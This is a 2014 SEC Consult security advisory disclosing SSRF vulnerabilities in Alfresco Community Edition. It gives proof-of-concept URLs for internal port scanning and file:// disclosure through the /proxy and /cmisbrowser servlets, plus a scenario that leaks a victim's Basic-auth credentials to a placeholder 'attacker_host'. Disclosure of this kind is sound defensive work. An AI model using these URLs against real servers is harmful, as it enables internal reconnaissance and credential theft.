-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 SEC Consult Vulnerability Lab Security Advisory < 20140716-0 > ======================================================================= title: Multiple SSRF vulnerabilities product: Alfresco Community Edition vulnerable version: <=4.2.f fixed version: 5.0.a impact: High homepage: http://www.alfresco.com found: 2014-05-15 by: V. Paulikas SEC Consult Vulnerability Lab ======================================================================= Vendor description: - ------------------- "Alfresco Community Edition allows organizations to manage any type of content from simple office documents to scanned images, photographs, engineering drawings and large video files. It is commonly used as a document management system, content platform, CMIS-compliant repository." http://www.alfresco.com/products/community Business recommendation: - ------------------------ Multiple SSRF vulnerabilities were identified within the affected Alfresco product. By exploiting these vulnerabilities an unauthenticated attacker is able to scan available ports on internal systems and access internal web applications which should not be accessible from the Internet. It is recommended to restrict access to the affected servlets until an official patch is released by the vendor. Vulnerability overview/description: - --------------------------------------------- 1) Server Side Request Forgery (SSRF) A Server Side Request Forgery vulnerability allows to issue remote connections on behalf of the affected server. This can be exploited in order to reach internal systems, which are not reachable from the Internet, or to bypass access restrictions. Proof of concept: - ----------------- SSRF PoC 1) An unauthenticated user can access the proxy servlet and perform internal system port scanning by accessing the URL provided below: http://host/alfresco/proxy?endpoint=http://internal_system:port The server responds with an error message "Connection refused" when the port is not accessible (firewalled or not available). Other error messages indicate a service running on the port which is being probed. The proxy servlet implementation in older versions of the Alfresco Community Edition support the file:// URI, allowing the attacker to disclose the contents of the files on the affected server. SSRF PoC 2) The Content Management Interoperability Service (CMIS) can also be exploited by an unauthenticated attacker in order to issue internal connections. The following URL can be used in order to exploit the vulnerability: http://host/alfresco/cmisbrowser?url=http://internal_system:port The server responds with similar error messages when the port is open or closed. If the victim is tricked to access a resource, protected with Basic authentication, on the affected host via the cmisbrowser servlet, further requests include the submitted credentials and can be intercepted by an attacker. An example of such a scenario: - - victim accesses http://host/alfresco/cmisbrowser?url=http://host/alfresco/service/ and supplies his user credentials. - - victim then accesses the http://host/alfresco/cmisbrowser?url=http://attacker_host and his base64 encoded credentials are leaked. Vulnerable / tested versions: - ----------------------------- The vulnerabilities have been verified to exist in the Alfresco Community Edition version 4.2.f, which was the most recent version at the time of discovery. The version 2.9.0B was verified to support the file:// URI scheme, allowing the attackers to disclose contents of the local files on the affected server. Vendor contact log: - ------------------------ 2014-05-30: Contacting vendor through support@alfresco.com - no response. 2014-06-02: Contacting vendor through online form at http://www.alfresco.com/company/contact - no response. 2014-06-09: Contacting vendor through support@alfresco.com and online form - no response. 2014-06-16: Contacting vendor through support@alfresco.com and online form. 2014-06-17: Response from the vendor. 2014-06-24: Advisory sent to the vendor. 2014-07-07: Vendor acknowledges that a new version (5.0.a) of the Alfresco CMS is available 2014-07-16: SEC Consult releases security advisory Solution: - --------- According to the vendor, the new version 5.0.a fixes the identified problems. The new version can be downloaded from their website. However, by inspecting the updated version of the Alfresco CMS it was identified, that only the /proxy endpoint was properly fixed. The /cmisbrowser was commented out in the web.xml for default installations and once enabled could be exploited by unauthenticated attackers as described above. Advisory URL: - ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius Headquarter: Mooslackengasse 17, 1190 Vienna, Austria Phone: +43 1 8903043 0 Fax: +43 1 8903043 15 Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult Interested in working with the experts of SEC Consult? Write to career@sec-consult.com EOF V. Paulikas / @2014 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQEcBAEBAgAGBQJTxkLMAAoJECyFJyAEdlkKeSAIAJ9Ssya/gH6tqJwcXUXhMdH9 Ux7c4y8QsRWdffAho71Rx+ikTV/GUxt3Le9Z0zOL0z7Xxlr+OPopSkuAOIx0Qa+G 5OqJm/JaaeHmlzeA3VFQyRcDbKLLtSi4yc2FHrt+sT1SLMXAke0RBt8yKZks2pk7 sy43fNloUX1DdjlKXbUZ4a6cZBi8jpdjpjnDD0vyeq4sxa/0nm1EqeV+/g8a9rYN uP1fxi9tzaHl92kMyyw7kMxeIrI5D6/TcN54mt/oenQ7Hp9rhCtVWq8vzzks3AF+ hzHxiNAj9MWxNX586ytTI11OvXMjpa+ITBVfvR65PYrnNKh9lnaal/el95n+wmw= =03Vv -----END PGP SIGNATURE-----